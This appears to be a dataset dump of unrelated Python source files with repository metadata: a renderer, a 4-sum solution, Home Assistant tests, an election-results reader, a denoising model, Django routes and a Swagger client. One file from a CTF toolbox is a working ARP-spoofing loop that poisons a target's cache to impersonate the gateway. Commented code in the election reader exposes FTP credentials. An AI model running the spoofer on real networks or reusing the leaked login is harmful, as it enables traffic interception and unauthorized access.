(0, 0, 1))
self.fig.canvas.draw()
self.fig.canvas.flush_events()
# access matplotlib's buffer here and return
w, h = self.fig.canvas.get_width_height()
buf = np.fromstring(self.fig.canvas.tostring_argb(), dtype=np.uint8)
buf.shape = (h, w, 4)
buf = buf[:, :, 1:]
return buf
class Renderer:
def __init__(self, bodies, xlim, ylim, dpi, tactile_bodies_names=[]):
self.bodies = bodies
self.tactile_bodies_names = tactile_bodies_names
self._x_lim = xlim
self._y_lim = ylim
self._max_x = int(dpi * (xlim[1] - xlim[0]))
self._max_y = int(dpi * (ylim[1] - ylim[0]))
self.shape = [self._max_x, self._max_y]
self.dpi = dpi
self.reset_buffer()
def reset_buffer(self):
self.buffer = Image.new('RGB', self.shape, (255, 255, 255))
self.draw = ImageDraw.Draw(self.buffer)
def point_to_pix(self, point):
x, y = point
X = self._max_x * (x - self._x_lim[0]) / (self._x_lim[1] - self._x_lim[0])
Y = self._max_y * (y - self._y_lim[0]) / (self._y_lim[1] - self._y_lim[0])
return X, Y
def step(self):
self.reset_buffer()
for key in self.bodies:
body = self.bodies[key]
touching = [ce.contact.touching for ce in body.contacts if ce.contact.touching]
vercs = np.vstack(body.fixtures[0].shape.vertices)
data = [self.point_to_pix(body.GetWorldPoint(x)) for x in vercs]
color = (255, 0, 0) if len(touching) > 0 and key in self.tactile_bodies_names else (0, 0, 255)
self.draw.polygon(data, fill=color)
return np.asarray(self.buffer)
if __name__ == "__main__":
import viewer
win = viewer.VisionJointsSkinWindow()
skin_order = [
("Arm1_Left", 0),
("Arm2_Left", 0),
("Arm2_Left", 1),
("Arm2_Left", 2),
("Arm1_Left", 2),
("Arm1_Right", 0),
("Arm2_Right", 0),
("Arm2_Right", 1),
("Arm2_Right", 2),
("Arm1_Right", 2)]
skin_resolution = 12
xlim = [-20.5, 20.5]
ylim = [-13.5, 13.5]
env = Environment("../models/two_arms.json", skin_order, skin_resolution, xlim, ylim, dpi=10, dt=1 / 150.0)
for i in range(1000):
actions = {
"Arm1_to_Arm2_Left": np.random.uniform(-2.3, 2.3),
"Ground_to_Arm1_Left": np.random.uniform(-3.14, 3.14),
"Arm1_to_Arm2_Right": np.random.uniform(-2.3, 2.3),
"Ground_to_Arm1_Right": np.random.uniform(-3.14, 3.14)
}
env.set_positions(actions)
for j in range(1000):
if j % 100 == 0:
win.update(*env.state)
env.step()
# for key in env.joint_pids:
# speed1 = env.joint_pids[key].output
# speed2 = env.joints[key].speed
# if np.abs(speed1) > 0.1:
# print("PID", key, speed1)
# if np.abs(speed2) > 0.001:
# print("ENV", key, speed2)
| [
"[email protected]"
] | |
5c3a60649eb2400e972b1840d8c7d287239ed90e | 7dcb8b52d2c7bd223a86fa93e40c0153b0959206 | /Scapy/scapy_arp.py | bde9a0f1fae8177babb542946b96ce398f81e413 | [] | no_license | gast04/CTF_ToolBox | 2e36f81f083a1f4518a817e5fcaf8dfaa44e0b31 | a1d74448a936e3b8ba1288edc099794776582fbd | refs/heads/master | 2021-10-25T18:50:03.154094 | 2021-10-24T13:08:39 | 2021-10-24T13:08:39 | 94,090,071 | 15 | 1 | null | null | null | null | UTF-8 | Python | false | false | 432 | py | from scapy.all import *
from time import sleep
target_ip = "10.157.13.10"
#target_mac= "52:54:00:12:35:02"
target_mac= "08:00:06:99:52:31"
#target_ip = "10.157.13.33"
#target_mac= "F4:30:B9:59:BF:D4"
src_ip = "10.157.13.1"
mymac = "14:58:d0:08:e0:09"
while(True):
# create arp packet
arp_frame = ARP(
pdst=target_ip, hwdst=target_mac,
psrc=src_ip, hwsrc=mymac)
# send arp packet
send(arp_frame)
sleep(1)
| [
"[email protected]"
] | |
93cfba5d6f9b85fb7a5f99acd5f189d6d59f72da | 15e44b9b5724984dec0d101b6dc1f85d38b6267c | /e18_4_sum.py | aff1570a39a9de84463ad6f05efac8333257a848 | [] | no_license | thinkreed/python-algo | 66013e6929169ff633ed5b27bddfa8a958b0349c | 663942786a9d83f28934d5685600aa3672fde2ea | refs/heads/master | 2021-01-19T20:27:06.904571 | 2017-07-19T15:33:05 | 2017-07-19T15:33:05 | 83,753,708 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,950 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
__title__ = ''
__author__ = 'thinkreed'
__mtime__ = '2017/3/19'
idea from https://discuss.leetcode.com/topic/22705/python-140ms-beats-100-and-works-for-n-sum-n-2/4
"""
class Solution(object):
def fourSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[List[int]]
"""
def find_N_sum(nums, start, target, n, result, results):
#跳过剩余数组长度小于n或者当前的维次2或者target小于第一个数而太小不可能存在或者太大不存在的情况
if len(nums[start:]) < n or n < 2 or target < nums[start] * n or target > nums[-1] * n:
return
#求两数和为target
elif n == 2:
left, right = start, len(nums) - 1
while left < right:
cur_sum = nums[left] + nums[right]
if cur_sum < target:
left += 1
elif cur_sum > target:
right -= 1
else:
results.append(result + [nums[left], nums[right]])
left += 1
#跳过重复
while left < right and nums[left] == nums[left - 1]:
left += 1
#降维次,将求n数和变为求n-1数和
else:
for i in range(len(nums[start:]) - n + 1):
if i == 0 or (i > 0 and nums[start + i - 1] != nums[start + i]):
find_N_sum(nums, start + i + 1, target - nums[start + i], n - 1, result + [nums[start + i]],
results)
results = []
find_N_sum(sorted(nums), 0, target, 4, [], results)
return results
if __name__ == '__main__':
print(Solution().fourSum([1, 0, -1, 0, -2, 2], 0))
| [
"[email protected]"
] | |
f593ce8153239cc825b0b7f43cdb15c9dbe9f75c | 96dcea595e7c16cec07b3f649afd65f3660a0bad | /tests/components/esphome/test_dashboard.py | d8732ea0453f0b77d1f6fc912cdf09b767325fe9 | [
"Apache-2.0"
] | permissive | home-assistant/core | 3455eac2e9d925c92d30178643b1aaccf3a6484f | 80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743 | refs/heads/dev | 2023-08-31T15:41:06.299469 | 2023-08-31T14:50:53 | 2023-08-31T14:50:53 | 12,888,993 | 35,501 | 20,617 | Apache-2.0 | 2023-09-14T21:50:15 | 2013-09-17T07:29:48 | Python | UTF-8 | Python | false | false | 7,076 | py | """Test ESPHome dashboard features."""
import asyncio
from unittest.mock import patch
from aioesphomeapi import DeviceInfo, InvalidAuthAPIError
from homeassistant.components.esphome import CONF_NOISE_PSK, dashboard
from homeassistant.config_entries import SOURCE_REAUTH, ConfigEntryState
from homeassistant.core import HomeAssistant
from homeassistant.data_entry_flow import FlowResultType
from . import VALID_NOISE_PSK
from tests.common import MockConfigEntry
async def test_dashboard_storage(
hass: HomeAssistant, init_integration, mock_dashboard, hass_storage
) -> None:
"""Test dashboard storage."""
assert hass_storage[dashboard.STORAGE_KEY]["data"] == {
"info": {"addon_slug": "mock-slug", "host": "mock-host", "port": 1234}
}
await dashboard.async_set_dashboard_info(hass, "test-slug", "new-host", 6052)
assert hass_storage[dashboard.STORAGE_KEY]["data"] == {
"info": {"addon_slug": "test-slug", "host": "new-host", "port": 6052}
}
async def test_restore_dashboard_storage(
hass: HomeAssistant, mock_config_entry: MockConfigEntry, hass_storage
) -> MockConfigEntry:
"""Restore dashboard url and slug from storage."""
hass_storage[dashboard.STORAGE_KEY] = {
"version": dashboard.STORAGE_VERSION,
"minor_version": dashboard.STORAGE_VERSION,
"key": dashboard.STORAGE_KEY,
"data": {"info": {"addon_slug": "test-slug", "host": "new-host", "port": 6052}},
}
with patch.object(
dashboard, "async_get_or_create_dashboard_manager"
) as mock_get_or_create:
await hass.config_entries.async_setup(mock_config_entry.entry_id)
await hass.async_block_till_done()
assert mock_get_or_create.call_count == 1
async def test_setup_dashboard_fails(
hass: HomeAssistant, mock_config_entry: MockConfigEntry, hass_storage
) -> MockConfigEntry:
"""Test that nothing is stored on failed dashboard setup when there was no dashboard before."""
with patch.object(
dashboard.ESPHomeDashboardAPI, "get_devices", side_effect=asyncio.TimeoutError
) as mock_get_devices:
await hass.config_entries.async_setup(mock_config_entry.entry_id)
await hass.async_block_till_done()
await dashboard.async_set_dashboard_info(hass, "test-slug", "test-host", 6052)
assert mock_config_entry.state == ConfigEntryState.LOADED
assert mock_get_devices.call_count == 1
# The dashboard addon might recover later so we still
# allow it to be set up.
assert dashboard.STORAGE_KEY in hass_storage
async def test_setup_dashboard_fails_when_already_setup(
hass: HomeAssistant, mock_config_entry: MockConfigEntry, hass_storage
) -> MockConfigEntry:
"""Test failed dashboard setup still reloads entries if one existed before."""
with patch.object(dashboard.ESPHomeDashboardAPI, "get_devices") as mock_get_devices:
await dashboard.async_set_dashboard_info(
hass, "test-slug", "working-host", 6052
)
await hass.async_block_till_done()
assert mock_get_devices.call_count == 1
assert dashboard.STORAGE_KEY in hass_storage
await hass.config_entries.async_setup(mock_config_entry.entry_id)
await hass.async_block_till_done()
with patch.object(
dashboard.ESPHomeDashboardAPI, "get_devices", side_effect=asyncio.TimeoutError
) as mock_get_devices, patch(
"homeassistant.components.esphome.async_setup_entry", return_value=True
) as mock_setup:
await dashboard.async_set_dashboard_info(hass, "test-slug", "test-host", 6052)
await hass.async_block_till_done()
assert mock_config_entry.state == ConfigEntryState.LOADED
assert mock_get_devices.call_count == 1
# We still setup, and reload, but we do not do the reauths
assert dashboard.STORAGE_KEY in hass_storage
assert len(mock_setup.mock_calls) == 1
async def test_new_info_reload_config_entries(
hass: HomeAssistant, init_integration, mock_dashboard
) -> None:
"""Test config entries are reloaded when new info is set."""
assert init_integration.state == ConfigEntryState.LOADED
with patch("homeassistant.components.esphome.async_setup_entry") as mock_setup:
await dashboard.async_set_dashboard_info(hass, "test-slug", "test-host", 6052)
assert len(mock_setup.mock_calls) == 1
assert mock_setup.mock_calls[0][1][1] == init_integration
# Test it's a no-op when the same info is set
with patch("homeassistant.components.esphome.async_setup_entry") as mock_setup:
await dashboard.async_set_dashboard_info(hass, "test-slug", "test-host", 6052)
assert len(mock_setup.mock_calls) == 0
async def test_new_dashboard_fix_reauth(
hass: HomeAssistant, mock_client, mock_config_entry, mock_dashboard
) -> None:
"""Test config entries waiting for reauth are triggered."""
mock_client.device_info.side_effect = (
InvalidAuthAPIError,
DeviceInfo(uses_password=False, name="test"),
)
with patch(
"homeassistant.components.esphome.dashboard.ESPHomeDashboardAPI.get_encryption_key",
return_value=VALID_NOISE_PSK,
) as mock_get_encryption_key:
result = await hass.config_entries.flow.async_init(
"esphome",
context={
"source": SOURCE_REAUTH,
"entry_id": mock_config_entry.entry_id,
"unique_id": mock_config_entry.unique_id,
},
)
assert result["type"] == FlowResultType.FORM
assert result["step_id"] == "reauth_confirm"
assert len(mock_get_encryption_key.mock_calls) == 0
mock_dashboard["configured"].append(
{
"name": "test",
"configuration": "test.yaml",
}
)
await dashboard.async_get_dashboard(hass).async_refresh()
with patch(
"homeassistant.components.esphome.dashboard.ESPHomeDashboardAPI.get_encryption_key",
return_value=VALID_NOISE_PSK,
) as mock_get_encryption_key, patch(
"homeassistant.components.esphome.async_setup_entry", return_value=True
) as mock_setup:
await dashboard.async_set_dashboard_info(hass, "test-slug", "test-host", 6052)
await hass.async_block_till_done()
assert len(mock_get_encryption_key.mock_calls) == 1
assert len(mock_setup.mock_calls) == 1
assert mock_config_entry.data[CONF_NOISE_PSK] == VALID_NOISE_PSK
async def test_dashboard_supports_update(hass: HomeAssistant, mock_dashboard) -> None:
"""Test dashboard supports update."""
dash = dashboard.async_get_dashboard(hass)
# No data
assert not dash.supports_update
# supported version
mock_dashboard["configured"].append(
{
"name": "test",
"configuration": "test.yaml",
"current_version": "2023.2.0-dev",
}
)
await dash.async_refresh()
assert dash.supports_update
# unsupported version
mock_dashboard["configured"][0]["current_version"] = "2023.1.0"
await dash.async_refresh()
assert not dash.supports_update
| [
"[email protected]"
] | |
719d39524a06e80933f3a7d562881d895cb36b2d | 19fd2ef63c181ff4b88ec10f425faa5666359fba | /elections/2008/primary/states/fl/reader.py | da32e94663a4ebae8f7d4b3adc21e32835c0df05 | [] | no_license | saravanarajan/gmaps-samples | 2a83240d8d75829d74902c6348e93d3a0c30eefd | beaf333c967d5d54b2e8a46aa7bf0ecc899b6ade | refs/heads/master | 2016-09-06T16:21:40.935416 | 2015-01-12T00:31:21 | 2015-01-12T00:31:21 | 35,718,303 | 4 | 4 | null | null | null | null | UTF-8 | Python | false | false | 8,941 | py | #!/usr/bin/env python
# reader.py - vote reader for SC primary
import private
import re
import urllib
import csv
candidates = {
'all': [],
'democrat': [
{ 'name': 'biden', 'lastName': 'Biden', 'fullName': 'Joe Biden', 'color': '#20FF1F' },
{ 'name': 'clinton', 'lastName': 'Clinton', 'fullName': 'Hillary Clinton', 'color': '#FFFA00' },
{ 'name': 'dodd', 'lastName': 'Dodd', 'fullName': 'Chris Dodd', 'color': '#E4Af95' },
{ 'name': 'edwards', 'lastName': 'Edwards', 'fullName': 'John Edwards', 'color': '#FF1300' },
{ 'name': 'gravel', 'lastName': 'Gravel', 'fullName': 'Mike Gravel', 'color': '#8A5C2E' },
{ 'name': 'kucinich', 'lastName': 'Kucinich', 'fullName': 'Dennis Kucinich', 'color': '#EE00B5' },
{ 'name': 'obama', 'lastName': 'Obama', 'fullName': 'Barack Obama', 'color': '#1700E8' },
{ 'name': 'richardson', 'lastName': 'Richardson', 'fullName': 'Bill Richardson', 'color': '#336633' }
#{ 'name': 'uncommitted-d', 'lastName': 'Uncommitted', 'fullName': 'Uncommitted', 'color': '#336633' },
],
'republican': [
#{ 'name': 'cort', 'lastName': 'Cort', 'fullName': 'Hugh Cort', 'color': '#8080FF' },
#{ 'name': 'cox', 'lastName': 'Cox', 'fullName': 'John Cox', 'color': '#808040' },
#{ 'name': 'fendig', 'lastName': 'Fendig', 'fullName': 'Cap Fendig', 'color': '#408080' },
#{ 'name': 'brownback', 'lastName': 'Brownback', 'fullName': 'Sam Brownback', 'color': '#8080FF' },
{ 'name': 'giuliani', 'lastName': 'Giuliani', 'fullName': 'Rudy Giuliani', 'color': '#336633' },
{ 'name': 'huckabee', 'lastName': 'Huckabee', 'fullName': 'Mike Huckabee', 'color': '#1700E8' },
{ 'name': 'hunter', 'lastName': 'Hunter', 'fullName': 'Duncan Hunter', 'color': '#8A5C2E' },
{ 'name': 'keyes', 'lastName': 'Keyes', 'fullName': 'Alan Keyes', 'color': '#8080FF' },
{ 'name': 'mccain', 'lastName': 'McCain', 'fullName': 'John McCain', 'color': '#FFFA00' },
{ 'name': 'paul', 'lastName': 'Paul', 'fullName': 'Ron Paul', 'color': '#E4Af95' },
{ 'name': 'romney', 'lastName': 'Romney', 'fullName': 'Mitt Romney', 'color': '#FF1300' },
{ 'name': 'tancredo', 'lastName': 'Tancredo', 'fullName': 'Tom Tancredo', 'color': '#EE00B5' },
{ 'name': 'thompson', 'lastName': 'Thompson', 'fullName': 'Fred Thompson', 'color': '#20FF1F' }
#{ 'name': 'uncommitted-r', 'lastName': 'Uncommitted', 'fullName': 'Uncommitted', 'color': '#8080FF' },
]
}
def indexCandidates( party ):
dict = candidates['byname'][party] = {}
for candidate in candidates[party]:
dict[candidate['name']] = candidate
candidates['byname'] = {}
indexCandidates( 'democrat' )
indexCandidates( 'republican' )
def fetchData():
urllib.urlretrieve( private.csvFeedUrl, 'fl_text_output_for_mapping.csv' )
def readVotes( data, party ):
print 'Processing vote data'
reader = csv.reader( open( 'fl_text_output_for_mapping.csv', 'rb' ) )
header = []
while header == []:
header = reader.next()
#print header
for row in reader:
if len(row) == 0: continue
countyName = fixCountyName( row[0] )
if countyName == '*':
if( ( party == 'democrat' and row[3] ) or ( party == 'republican' and row[11] ) ):
setData( header, data['state'], row, party )
else:
setData( header, data['counties'][countyName], row, party )
def setData( header, county, row, party ):
setPrecincts( county, row )
if party != 'democrat':
setVotes( header, county, row, 11, 'republican' )
if party != 'republican':
setVotes( header, county, row, 3, 'democrat' )
def setPrecincts( county, row ):
county['precincts'] = {
'reporting': row[2],
'total': row[1]
}
def setVotes( header, county, row, col, party ):
if row[col] == '': return
tally = []
total = 0
for candidate in candidates[party]:
#if header[col] == 'trancredo': header[col] = 'tancredo'
if candidate['name'] != header[col]:
print 'ERROR!'
votes = int(row[col] or 0)
if votes:
total += votes
tally.append({ 'name':candidate['name'], 'votes':votes })
col += 1
county['total'] = total
tally.sort( lambda a, b: b['votes'] - a['votes'] )
county[party] = tally
def fixCountyName( name ):
fixNames = {
#"Harts Location": "Hart's Location",
#"Waterville": "Waterville Valley"
}
if( name in fixNames ):
name = fixNames[name]
#print 'County: %s' % name
return name
#def getCounties( candidateNames ):
# counties = {}
# for countyName in countyNames:
# counties[countyName] = getCounty( countyName, candidateNames )
# return counties
#
#def getCounty( countyName, candidateNames ):
# candidates = {}
# for who in candidateNames.split():
# candidates[who] = {
# 'votes': 0
# }
# county = {
# 'county': countyName,
# 'candidates': candidates,
# 'total': 0,
# 'precincts': {
# 'reporting': 0,
# 'total': 0
# }
# }
# return county
#
#def jsonDemocrat():
# if True:
# print 'Retrieving Democrat data'
# urllib.urlretrieve( 'http://origin-www.desmoinesregister.com/assets/xml/dems_results_counties.xml', 'dems_results_counties.xml' )
# print 'Processing Democrat results'
# #counties = getCounties('biden clinton dodd edwards gravel kucinich obama richardson other uncommitted')
# names = 'biden clinton dodd edwards gravel kucinich obama richardson'
# state = getCounty( 'state', names )
# counties = getCounties( names )
# dems = et.parse( 'dems_results_counties.xml' )
# for marker in dems.getiterator('marker'):
# def intvalue( name ): return int( marker.attrib[name] )
# countyName = fixCountyName( marker.attrib['countyname'] )
# county = counties[countyName]
# candidates = county['candidates']
# can = []
# total = 0
# for name in candidates:
# candidate = candidates[name]
# candidate['name'] = name
# votes = candidate['votes'] = intvalue('count_'+name)
# state['candidates'][name]['votes'] += votes
# total += votes
# if votes:
# can.append( candidate )
# can.sort( lambda a, b: b['votes'] - a['votes'] )
# county['candidates'] = can
# county['total'] = total
# state['total'] += total
# precinctsReporting = intvalue('precinctsreporting')
# precinctsTotal = intvalue('precinctstotal')
# county['precincts'].update({
# 'reporting': precinctsReporting,
# 'total': precinctsTotal
# })
# state['precincts']['reporting'] += precinctsReporting
# state['precincts']['total'] += precinctsTotal
# can = []
# for name in state['candidates']:
# candidate = state['candidates'][name]
# candidate['name'] = name
# can.append( candidate )
# can.sort( lambda a, b: b['votes'] - a['votes'] )
# state['candidates'] = can
#
# result = {
# 'status': 'ok',
# 'state': state,
# 'counties': counties
# }
#
# return 'Json.democratResults(%s)' % json( result )
#
#def jsonRepublican():
# if False:
# print 'Reading Republican directory'
# ftp = ftplib.FTP( 'ursaminor.1888932-2946.ws', 'iowagop', 'iowa@#!$' )
# file = open( 'iowa_results.csv', 'wb' )
# lines = []
# ftp.retrlines( 'LIST', lines.append )
# files = []
# for line in lines:
# split = line.split()
# hm = split[7].split(':')
# time = split[6] + hm[0] + hm[1]
# name = split[8]
# if name.find('iowacodes_') == 0:
# files.append([ time, name ])
# files.sort( lambda a, b: int(b[0]) - int(a[0]) )
# filename = files[0][1]
# print 'Retrieving Republican data from ' + filename
# ftp.retrbinary( 'RETR ' + filename, file.write )
# file.close()
# ftp.quit()
# print 'Processing Republican results'
# names = 'giuliani huckabee hunter mccain paul romney tancredo thompson'
# state = getCounty( 'state', names )
# counties = getCounties( names )
# reader = csv.reader( open( 'iowa_results.csv', 'rb' ) )
# header = reader.next()
# for row in reader:
# countyName = fixCountyName( row[13] )
# county = counties[countyName]
# candidates = county['candidates']
# reported = False
# for i in 2,3,4,5,6,7,8,9:
# who = header[i]
# candidate = candidates[who]
# n = row[i].strip()
# if( n != '' ):
# candidate['votes'] += int(n)
# reported = True
# if reported:
# county['precincts']['reporting'] += 1
# state['precincts']['reporting'] += 1
# county['precincts']['total'] += 1
# state['precincts']['total'] += 1
# for countyName in counties:
# if countyName != '*':
# county = counties[countyName]
# candidates = county['candidates']
# can = []
# total = 0
# for name in candidates:
# candidate = candidates[name]
# votes = candidate['votes']
# state['candidates'][name]['votes'] += votes
# total += votes
# candidate['name'] = name
# if votes:
# can.append( candidate )
# can.sort( lambda a, b: b['votes'] - a['votes'] )
# county['candidates'] = can
# county['total'] = total
# state['total'] += total
# can = []
# for name in state['candidates']:
# candidate = state['candidates'][name]
# candidate['name'] = name
# can.append( candidate )
# can.sort( lambda a, b: b['votes'] - a['votes'] )
# state['candidates'] = can
#
# result = {
# 'status': 'ok',
# 'state': state,
# 'counties': counties
# }
#
# return 'Json.republicanResults(%s)' % json( result )
#
| [
"gearylabs@bd4feb60-9d29-0410-bcad-4118a2cb9d5c"
] | gearylabs@bd4feb60-9d29-0410-bcad-4118a2cb9d5c |
9fc8cce6cf2b2dac856ff02a8b6364aca1988115 | 24044835dd6d8cace11585fc56a2279b6df64664 | /script/RNAN_DN/code/model/nlranmask.py | c959a049a43e19915741542c8c3a9f46f7bcfa57 | [] | no_license | pkusc/ASC-SR | 0d565f282dd29bd41123c0a38e8eb6bd9d83954e | fc95a65e2e3e5496b0d5f85308675a064ce6567e | refs/heads/master | 2020-04-26T11:12:28.209207 | 2019-03-02T23:33:07 | 2019-03-02T23:33:07 | 173,509,029 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,811 | py | from model import common
import torch.nn as nn
def make_model(args, parent=False):
return NLRANMASK(args)
### NLRAN
### residual attention + downscale upscale + denoising
class _ResGroup(nn.Module):
def __init__(self, conv, n_feats, kernel_size, act, res_scale):
super(_ResGroup, self).__init__()
modules_body = []
#modules_body.append(common.NonLocalBlock2D(n_feats, n_feats // 2))
modules_body.append(common.ResAttModuleDownUp(conv, n_feats, kernel_size, bias=True, bn=False, act=nn.ReLU(True), res_scale=1))
# if we don't use group residual, donot remove the following conv
modules_body.append(conv(n_feats, n_feats, kernel_size))
self.body = nn.Sequential(*modules_body)
def forward(self, x):
res = self.body(x)
#res += x
return res
### nonlocal residual attention + downscale upscale + denoising
class _NLResGroup(nn.Module):
def __init__(self, conv, n_feats, kernel_size, act, res_scale):
super(_NLResGroup, self).__init__()
modules_body = []
#modules_body.append(common.NonLocalBlock2D(n_feats, n_feats // 2))
modules_body.append(common.NLResAttModuleDownUp(conv, n_feats, kernel_size, bias=True, bn=False, act=nn.ReLU(True), res_scale=1))
# if we don't use group residual, donot remove the following conv
modules_body.append(conv(n_feats, n_feats, kernel_size))
self.body = nn.Sequential(*modules_body)
def forward(self, x):
res = self.body(x)
#res += x
return res
class NLRANMASK(nn.Module):
def __init__(self, args, conv=common.default_conv):
super(NLRANMASK, self).__init__()
n_resgroup = args.n_resgroups
n_resblock = args.n_resblocks
n_feats = args.n_feats
kernel_size = 3
reduction = args.reduction
scale = args.scale[0]
act = nn.ReLU(True)
# RGB mean for DIV2K 1-800
#rgb_mean = (0.4488, 0.4371, 0.4040)
# RGB mean for DIVFlickr2K 1-3450
# rgb_mean = (0.4690, 0.4490, 0.4036)
'''
if args.data_train == 'DIV2K':
print('Use DIV2K mean (0.4488, 0.4371, 0.4040)')
rgb_mean = (0.4488, 0.4371, 0.4040)
elif args.data_train == 'DIVFlickr2K':
print('Use DIVFlickr2K mean (0.4690, 0.4490, 0.4036)')
rgb_mean = (0.4690, 0.4490, 0.4036)
self.sub_mean = common.MeanShift(args.rgb_range, rgb_mean, -1)
'''
# define head module
modules_head = [conv(args.n_colors, n_feats, kernel_size)]
#modules_head.append(common.NonLocalBlock2D(n_feats, n_feats // 2))
# define body module
'''
modules_body = [
common.ResBlock(
conv, n_feats, kernel_size, act=act, res_scale=args.res_scale) \
for _ in range(n_resblock)]
'''
modules_body_nl_low = [
_NLResGroup(
conv, n_feats, kernel_size, act=act, res_scale=args.res_scale)]
modules_body = [
_ResGroup(
conv, n_feats, kernel_size, act=act, res_scale=args.res_scale) \
for _ in range(n_resgroup - 2)]
modules_body_nl_high = [
_NLResGroup(
conv, n_feats, kernel_size, act=act, res_scale=args.res_scale)]
modules_body.append(conv(n_feats, n_feats, kernel_size))
# define tail module
'''
modules_tail = [
common.Upsampler(conv, scale, n_feats, act=False),
conv(n_feats, args.n_colors, kernel_size)]
'''
modules_tail = [
conv(n_feats, args.n_colors, kernel_size)]
#self.add_mean = common.MeanShift(args.rgb_range, rgb_mean, 1)
self.head = nn.Sequential(*modules_head)
self.body_nl_low = nn.Sequential(*modules_body_nl_low)
self.body = nn.Sequential(*modules_body)
self.body_nl_high = nn.Sequential(*modules_body_nl_high)
self.tail = nn.Sequential(*modules_tail)
def forward(self, x):
#if self.args.shift_mean:
# x = self.sub_mean(x)
#x = self.sub_mean(x)
feats_shallow = self.head(x)
res = self.body_nl_low(feats_shallow)
res = self.body(res)
res = self.body_nl_high(res)
#res += feats_shallow
res_main = self.tail(res)
res_clean = x + res_main
#if self.args.shift_mean:
# x = self.add_mean(x)
#x = self.add_mean(x)
return res_clean
def load_state_dict(self, state_dict, strict=False):
own_state = self.state_dict()
for name, param in state_dict.items():
if name in own_state:
if isinstance(param, nn.Parameter):
param = param.data
try:
own_state[name].copy_(param)
except Exception:
if name.find('tail') >= 0:
print('Replace pre-trained upsampler to new one...')
else:
raise RuntimeError('While copying the parameter named {}, '
'whose dimensions in the model are {} and '
'whose dimensions in the checkpoint are {}.'
.format(name, own_state[name].size(), param.size()))
elif strict:
if name.find('tail') == -1:
raise KeyError('unexpected key "{}" in state_dict'
.format(name))
if strict:
missing = set(own_state.keys()) - set(state_dict.keys())
if len(missing) > 0:
raise KeyError('missing keys in state_dict: "{}"'.format(missing))
| [
"[email protected]"
] | |
ab5d23ec379049b4e3f8029c3f3f847ae82cbc18 | 84e63804aaeeff4f60c21a9ab8aa537a66666744 | /bloxby/urls.py | 15f3fb7212331ef6cca41397b67b53a46ddaaacb | [] | no_license | damey2011/django-bloxby | 5a680207df6a93f9554c589c497f1b66f3f86742 | ca5a03b8f79a225b7bccb389a67aa816e679f5e8 | refs/heads/master | 2023-03-15T18:32:14.376624 | 2021-01-01T17:31:22 | 2021-01-01T17:31:22 | 253,669,545 | 1 | 2 | null | 2023-03-04T19:35:39 | 2020-04-07T02:43:45 | Python | UTF-8 | Python | false | false | 434 | py | from django.urls import path
from bloxby import views
urlpatterns = [
path('ftp/receive/', views.ReceiveFTPItemsView.as_view(), name='receive'),
path('ftp/auth/', views.AuthFTPUserView.as_view(), name='auth'),
path('page/', views.PageRenderView.as_view(), name='render-page'),
path('import-site/', views.ImportSiteView.as_view(), name='import-site'),
path('', views.TestIndexView.as_view(), name='index-test')
]
| [
"[email protected]"
] | |
305a55b03bc6752fff93dd33556cc4ef27820993 | e519a3134e5242eff29a95a05b02f8ae0bfde232 | /services/control-tower/vendor/riffyn-sdk/swagger_client/models/add_member_to_team_body.py | f83124dfb5e3fd80c2af107a3217bfcee4bf2ca8 | [] | no_license | zoltuz/lab-automation-playground | ba7bc08f5d4687a6daa64de04c6d9b36ee71bd3e | 7a21f59b30af6922470ee2b20651918605914cfe | refs/heads/master | 2023-01-28T10:21:51.427650 | 2020-12-04T14:13:13 | 2020-12-05T03:27:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,192 | py | # coding: utf-8
"""
Riffyn REST API
### Vocabulary Before you begin, please familiarize yourself with our [Glossary of Terms](https://help.riffyn.com/hc/en-us/articles/360045503694). ### Getting Started If you'd like to play around with the API, there are several free GUI tools that will allow you to send requests and receive responses. We suggest using the free app [Postman](https://www.getpostman.com/). ### Authentication Begin with a call the [authenticate](/#api-Authentication-authenticate) endpoint using [HTTP Basic authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) with your `username` and `password` to retrieve either an API Key or an Access Token. For example: curl -X POST -u '<username>' https://api.app.riffyn.com/v1/auth -v You may then use either the API Key or the accessToken for all future requests to the API. For example: curl -H 'access-token: <ACCESS_TOKEN>' https://api.app.riffyn.com/v1/units -v curl -H 'api-key: <API_KEY>' https://api.app.riffyn.com/v1/units -v The tokens' values will be either in the message returned by the `/authenticate` endpoint or in the createApiKey `/auth/api-key` or CreateAccesToken `/auth/access-token` endpoints. The API Key will remain valid until it is deauthorized by revoking it through the Security Settings in the Riffyn App UI. The API Key is best for running scripts and longer lasting interactions with the API. The Access Token will expire automatically and is best suited to granting applications short term access to the Riffyn API. Make your requests by sending the HTTP header `api-key: $API_KEY`, or `access-token: $ACCESS_TOKEN`. In Postman, add your prefered token to the headers under the Headers tab for any request other than the original request to `/authenticate`. If you are enrolled in MultiFactor Authentication (MFA) the `status` returned by the `/authenticate` endpoint will be `MFA_REQUIRED`. A `passCode`, a `stateToken`, and a `factorId` must be passed to the [/verify](/#api-Authentication-verify) endpoint to complete the authentication process and achieve the `SUCCESS` status. MFA must be managed in the Riffyn App UI. ### Paging and Sorting The majority of endpoints that return a list of data support paging and sorting through the use of three properties, `limit`, `offset`, and `sort`. Please see the list of query parameters, displayed below each endpoint's code examples, to see if paging or sorting is supported for that specific endpoint. Certain endpoints return data that's added frequently, like resources. As a result, you may want filter results on either the maximum or minimum creation timestamp. This will prevent rows from shifting their position from the top of the list, as you scroll though subsequent pages of a multi-page response. Before querying for the first page, store the current date-time (in memory, a database, a file...). On subsequent pages you *may* include the `before` query parameter, to limit the results to records created before that date-time. E.g. before loading page one, you store the current date time of `2016-10-31T22:00:00Z` (ISO date format). Later, when generating the URL for page two, you *could* limit the results by including the query parameter `before=1477951200000` (epoch timestamp). ### Postman endpoint examples There is a YAML file with the examples of the request on Riffyn API [Click here](/collection) to get the file. If you don't know how to import the collection file, [here](https://learning.postman.com/docs/postman/collections/data-formats/#importing-postman-data) are the steps. ### Client SDKs You may write your own API client, or you may use one of ours. [Click here](/clients) to select your programming language and download an API client. # noqa: E501
OpenAPI spec version: 1.4.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class AddMemberToTeamBody(object):
"""NOTE: This class is auto generated by the swagger code generator program.
